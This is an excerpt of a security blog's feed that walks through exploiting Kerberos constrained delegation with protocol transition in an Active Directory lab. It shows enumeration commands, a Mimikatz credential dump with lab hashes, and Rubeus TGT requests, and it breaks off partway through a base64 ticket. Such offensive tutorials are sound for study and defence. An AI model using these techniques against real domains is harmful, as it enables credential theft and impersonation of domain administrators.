&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;               &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;S-1-5-21-3816950244-2414788102-2833019223-512&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Keep in mind that for the &lt;strong&gt;Domain Admins&lt;/strong&gt; group, you can see the proof that the &lt;strong&gt;Security Descriptor Propagator&lt;/strong&gt; has been processed thanks to the property &lt;strong&gt;admincount&lt;/strong&gt; set to &lt;strong&gt;1&lt;/strong&gt;, meaning that “Domain Admins” is a &lt;strong&gt;Protected Group&lt;/strong&gt; as we will see later. It’s not the case for DnsAdmins.&lt;/p&gt;

&lt;p&gt;Thanks for reading and see you in &lt;a href=&quot;https://phackt.org/dnsadmins-group-mitigation&quot;&gt;part 2&lt;/a&gt;,&lt;br /&gt;
Phackt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Kerberos constrained delegation with protocol transition</title>
   <link href="https://phackt.org/en-kerberos-constrained-delegation-with-protocol-transition"/>
   <updated>2020-11-27T00:00:00+00:00</updated>
   <id>https://phackt.org/en-kerberos-constrained-delegation-with-protocol-transition</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;Today, we are talking about the exploitation of Kerberos protocol extensions &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13&quot;&gt;S4U2Self&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a&quot;&gt;S4U2Proxy&lt;/a&gt; in order to impersonate a privileged user of the domain.&lt;/p&gt;

&lt;p&gt;This post aims at focusing on the &lt;a href=&quot;https://docs.microsoft.com/fr-fr/previous-versions/windows/it-pro/windows-server-2003/cc739587(v=ws.10)&quot;&gt;Kerberos constrained delegation with protocol transition&lt;/a&gt; which we will shorten &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T2A4D&lt;/code&gt; (&lt;strong&gt;TrustedToAuthForDelegation&lt;/strong&gt;); how to enumerate it, how to exploit it and use it as a method of persistence. &lt;br /&gt;
&lt;!--more--&gt;
To not reinvent the wheel, you will find a very good article introducing the kerberos delegation on the blog &lt;a href=&quot;https://beta.hackndo.com/constrained-unconstrained-delegation/&quot;&gt;hackndo&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;implementation-of-the-constrained-delegation-with-protocol-transition--msds-allowedtodelegateto&quot;&gt;Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo&lt;/h1&gt;

&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;

&lt;p&gt;There are two methods to benefit from the Active Directory cmdlets:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online&lt;/code&gt;&lt;br /&gt;
&lt;em&gt;N.B: can also be done offline thanks to the downloadable &lt;a href=&quot;https://my.visualstudio.com/Downloads/Featured&quot;&gt;iso&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/samratashok/ADModule&quot;&gt;https://github.com/samratashok/ADModule&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;trustedtoauthfordelegation&quot;&gt;TrustedToAuthForDelegation&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; is a machine account of the domain.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-ADComputer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;srv&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADAccountControl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-TrustedToAuthForDelegation&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$True&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADComputer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;srv&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;msDS-AllowedToDelegateTo&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;TIME/DC.WINDOMAIN.LOCAL&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;TIME/DC&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or through GUI:&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/setup_t2a4d.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that the constrained delegation can also be based on the resource (property &lt;strong&gt;msds-allowedtoactonbehalfofotheridentity&lt;/strong&gt;).&lt;br /&gt;
Indeed, it seems more consistent to give legitimacy to a resource to decide which other resource can access it. We will come back to this later.&lt;/p&gt;

&lt;p&gt;Let’s get our hands dirty.&lt;/p&gt;

&lt;h1 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h1&gt;

&lt;p&gt;The first interesting thing is to be able to list the service accounts affected by T2A4D :&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\tools&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-LDAPFilter&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAccountControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msDS-AllowedToDelegateTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;servicePrincipalName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useraccountcontrol&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WORKSTATION_TRUST_ACCOUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serviceprincipalname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WSMAN/SRV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WSMAN/SRV.windomain.local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TERMSRV/SRV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TERMSRV/SRV.windomain.local...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msds-allowedtodelegateto&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TIME/DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TIME/DC.WINDOMAIN.LOCAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SRV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Computers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samaccountname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SRV&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;samaccounttype&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;MACHINE_ACCOUNT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The tool &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt; will find it all for you.&lt;/p&gt;

&lt;h1 id=&quot;attack-scenario&quot;&gt;Attack scenario&lt;/h1&gt;

&lt;p&gt;We are going to compromise a machine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; with the attribute &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties&quot;&gt;useraccountcontrol&lt;/a&gt; with the value &lt;strong&gt;trusted_to_auth_for_delegation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/t2a4d/recon_t2a4d.png&quot; alt=&quot;t2a4d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The machine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; runs a service &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; on which a user &lt;em&gt;whatever&lt;/em&gt; authenticates using another mechanism than Kerberos (e.g. a web application with NTLM or basic authentication). In this case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; (or the web application) did not get any service ticket proving authentication from &lt;em&gt;whatever&lt;/em&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt;. This service ticket is normally used by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S4U2Proxy&lt;/code&gt; mechanism in order to carry out the classical constrained delegation.&lt;/p&gt;

&lt;p&gt;This is where the &lt;strong&gt;constrained delegation with protocol transition&lt;/strong&gt; comes in. The latter will still allow the “double hop” and allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; to request a service ticket for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt; by taking the identity of the user &lt;em&gt;whatever&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt; is either in the &lt;strong&gt;msDS-AllowedToDelegateTo&lt;/strong&gt; field of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt;:&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/msds_a2d2.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; is in the &lt;strong&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/strong&gt; field of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt; (Resource-Based Constrained Delegation).&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/msds_actonbehalf.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This delegation will involve the protocol extensions &lt;strong&gt;ServiceForUserToSelf&lt;/strong&gt; and &lt;strong&gt;ServiceForUserToProxy&lt;/strong&gt; :&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;S4U2Self&lt;/strong&gt; will simulate the kerberos authentication and thus the service ticket request for the user &lt;em&gt;whatever&lt;/em&gt;.&lt;br /&gt;
   &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; will somehow request a service ticket for itself for an arbitrary user.&lt;br /&gt;
   The result is a &lt;em&gt;forwardable&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T_SA&lt;/code&gt; service ticket that can then be passed to the &lt;strong&gt;S4U2Proxy&lt;/strong&gt; mechanism, the latter used for classical constrained delegation.&lt;/p&gt;

    &lt;p&gt;Please note that the &lt;em&gt;forwardable&lt;/em&gt; flag &lt;del&gt;is&lt;/del&gt; was necessary and will be set if the delegating service account &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; is marked as &lt;a href=&quot;https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;S4U2Proxy&lt;/strong&gt; will use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T_SA&lt;/code&gt; as a proof of &lt;em&gt;whatever&lt;/em&gt; authentication to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; in order to obtain a &lt;em&gt;forwarded&lt;/em&gt; service ticket for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The arbitrary user &lt;em&gt;whatever&lt;/em&gt; connects to the service &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p class=&quot;note&quot;&gt;
&lt;b&gt;Note about TRUSTED_TO_AUTH_FOR_DELEGATION :&lt;/b&gt;
&lt;br /&gt;&lt;br /&gt;
The &lt;b&gt;S4U2Proxy&lt;/b&gt; mechanism will need a &quot;forwardable&quot; service ticket obtained thanks to S4U2Self mechanism. Note that the flag TRUSTED_TO_AUTH_FOR_DELEGATION is only used for the protocol transition, no flag is set with the classical constrained delegation.&lt;br /&gt;&lt;br /&gt;
Since &lt;a href=&quot;https://support.microsoft.com/en-us/topic/kb4598347-managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049-569d60b7-3267-e2b0-7d9b-e46d770332ab&quot;&gt;KB4598347&lt;/a&gt;, the KDC will no more check the forwadable flag in the provided service ticket PAC but will directly look into the directory for the right conditions to be met to allow the S4U mechanism ;&lt;br /&gt;&lt;br /&gt;
&lt;span&gt;
- Is the &quot;delegating&quot; service legitimate to run the protocol transition (so here is &lt;i&gt;SA&lt;/i&gt; marked as &lt;b&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/b&gt;) ?&lt;br /&gt;
- Is the &quot;delegated&quot; account (impersonated user) not a member of the &lt;b&gt;Protected Users&lt;/b&gt; group and is not marked as &quot;&lt;b&gt;Account is sensitive and cannot be delegated&lt;/b&gt;&quot; (NOT_DELEGATED), so is the account allowed to be delegated ?  &lt;br /&gt;
&lt;/span&gt;
&lt;br /&gt;
If you heard about the &lt;b&gt;&lt;a href=&quot;https://www.alsid.com/crb_article/kerberos-delegation/&quot;&gt;Resource-Based Constrained Delegation attack&lt;/a&gt;&lt;/b&gt; (RBCD), you can wonder why if a trustee has the &lt;i&gt;writeProperty&lt;/i&gt; right on a computer account it is so bad ?  
&lt;br /&gt;&lt;br /&gt;
Ok so first of all you can write the &lt;b&gt;msds-AllowedToActOnBehalfOfOtherIdentity&lt;/b&gt; property with the SID of a principal you control, but ;
&lt;br /&gt;&lt;br /&gt;
- Is this principal, the one that you just added to &quot;msds-AllowedToActOnBehalfOfOtherIdentity&quot;, marked as TRUSTED_TO_AUTH_FOR_DELEGATION, so are you really legitimate to impersonate your user and run the S4U protocol extensions ?
&lt;br /&gt;&lt;br /&gt;
In many cases this principal is not marked as TRUSTED_TO_AUTH_FOR_DELEGATION and you can not set this value as we will see later if you are not a privileged domain user.  
&lt;br /&gt;&lt;br /&gt;
So why the the RBCD attack is working ? ; for this special case of &lt;b&gt;Resource-Based Constrained Delegation&lt;/b&gt;, it seems that the KDC &lt;b&gt;only checks if the delegated user is OK to be delegated&lt;/b&gt; (not protected users, not NOT_DELEGATED), but the service (or here the principal which you edited the &quot;msds-AllowedToActOnBehalfOfOtherIdentity&quot; property) is not checked anymore to be legitimate to run the protocol transition (is it marked as TRUSTED_TO_AUTH_FOR_DELEGATION ?, aka T2A4D).&lt;b&gt;
&lt;br /&gt;&lt;br /&gt;
And why this is so interesting, because Microsoft decided that this is a feature, not a bug, so as a consequence this attack (RBCD) is still working on a fully patched Windows Server 2019 domain controller.&lt;/b&gt;  
&lt;br /&gt;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/twitter_rbcd.png&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Now let’s get back to our scenario, if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T2A4D&lt;/code&gt; service account running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; has been compromised, we can generate a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T_SA&lt;/code&gt; for an arbitrary account (Domain Administrator) for an authorized service (&lt;strong&gt;msDS-AllowedToDelegateTo&lt;/strong&gt; or &lt;strong&gt;msds-AllowedToActOnBehalfOfOtherIdentity&lt;/strong&gt; if resource-based).&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://beta.hackndo.com/service-principal-name-spn/&quot;&gt;SPNs&lt;/a&gt; being interchangeable (unencrypted part of the service ticket), it is possible to modify it by another SPN of the same service account (ex: using the service class &lt;em&gt;CIFS&lt;/em&gt;, which gives us the SPN &lt;em&gt;CIFS/DC&lt;/em&gt; instead of &lt;em&gt;TIME/DC&lt;/em&gt;).&lt;/p&gt;

&lt;pre&gt;
We have to be able to delegate the impersonated account.
&lt;/pre&gt;
&lt;p&gt;It must be neither &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group&quot;&gt;Protected Users&lt;/a&gt;, nor “&lt;strong&gt;Account is sensitive and cannot be delegated&lt;/strong&gt;”.&lt;/p&gt;

&lt;h1 id=&quot;exploitation&quot;&gt;&lt;a name=&quot;Exploitation&quot;&gt;&lt;/a&gt;Exploitation&lt;/h1&gt;

&lt;p&gt;It will be necessary to first compile Rubeus (from the repo &lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt;, launch the project, “Build -&amp;gt; Build Solution”).&lt;/p&gt;

&lt;p&gt;It is assumed here that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; machine has been compromised beforehand. Let’s find out its credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; C:\tools\Mimikatz\x64\mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonPasswords&quot; &quot;exit&quot;

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  &quot;A La Vie, A L&apos;Amour&quot; - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       &amp;gt; https://blog.gentilkiwi.com/mimikatz
 &apos;## v ##&apos;       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  &apos;#####&apos;        &amp;gt; https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege &apos;20&apos; OK

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 19484783 (00000000:0129506f)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 9/25/2020 10:06:29 AM
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : srv$
         * Domain   : WINDOMAIN
         * NTLM     : b5858035cb595dd82050f9193b220232
         * SHA1     : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
        tspkg :
        wdigest :
         * Username : SRV$
         * Domain   : WINDOMAIN
         * Password : (null)
        kerberos :
         * Username : SRV$
         * Domain   : windomain.local
         * Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&amp;amp;G_n8C1eP(aIymKGM-d^E;J5&amp;gt;$uj*0? &amp;amp;duWc:&quot;$tL$KtkJuqE+t[s@fw$#YA:O$Bh&amp;lt;%usYq@vU5 ,i6q^JK=q9bV:Ue?Y
        ssp :
        credman :
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now we need to unroll the S4U to generate a service ticket, not for &lt;em&gt;TIME/DC&lt;/em&gt;, but for &lt;em&gt;CIFS/DC&lt;/em&gt; for the &lt;strong&gt;WINDOMAIN\Administrator&lt;/strong&gt; user.&lt;/p&gt;

&lt;p&gt;Let’s check that the share &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\DC\C$&lt;/code&gt; is refused to us:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\tools&amp;gt;dir \\DC\C$
Access is denied.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First, we request a TGT for the compromised service account &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
[*] Building AS-REQ (w/ preauth) for: &apos;windomain.local\srv$&apos;
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE5DCCBOCgAwIBBaEDAgEWooID9DCCA/BhggPsMIID6KADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIk
      MCKgAwIBAqEbMBkbBmtyYnRndBsPd2luZG9tYWluLmxvY2Fso4IDpjCCA6KgAwIBEqEDAgECooIDlASC
      A5DCmCD2rczQzoD7RBj3++6B+e7j68hijB0EoPUE87/OBc6Rw5hAPLzcWFJC8sfBuWWywOB/Y4O6Z9Xv
      IKQsk8mypOz33ffprU2NhtGGz9fcuy2oFKonUhUU3QSCgMT16KOfkpt2QYsan9zV4vUJpdEDrRCkdKCx
      +bu+dL63100hpjT8BlOZDsobNBPalaQRo1AihpxPgA48UtsDVB/hG0A4monF5x2wCBsoKy+7MEBi0CAa
      tLDv60ly4eIvRPijEXkN3Zmm/l1wIzWt4WpcGFdpoSTS+VLkgws9zHVCuoQlOGWURjTHRksHjIG6Exkf
      KXyCBCuO6vUxC+DUv3vCVC1wBEs5e7VXtGPhUzd8jJoSVCc+oSv4zXS+NzVf0RTr8ephMHxrXzzpCVQL
      y+3fLU+5/xcnzZiTypBDnjeluHKnlj+cZhQVniQU5PEhGw+DnaL22QZqOPY08VouXUtE44spKsrRGu8N
      qkwqdLVFTDSNNYgUGFGAvUG7QyWeC/XhbYvA5dpM9DUXhVo7ri3A4TZbLSfdrfiy14cOrl6AV8yD1Afo
      +Dks8KELhnba6JWdY6RVgbgXgvwDuy69JKrTPhifpTwEMrvbJejRnM0iD4YwwPTY6qT9xtXDRw5nfb/N
      yd2WZVmwlFsg3JBl0VCNAzfTxyZLhta5s8G8lRJmpBTUPgxWXVleta4v9XGGoWuT0WlmSveXSKrowwLZ
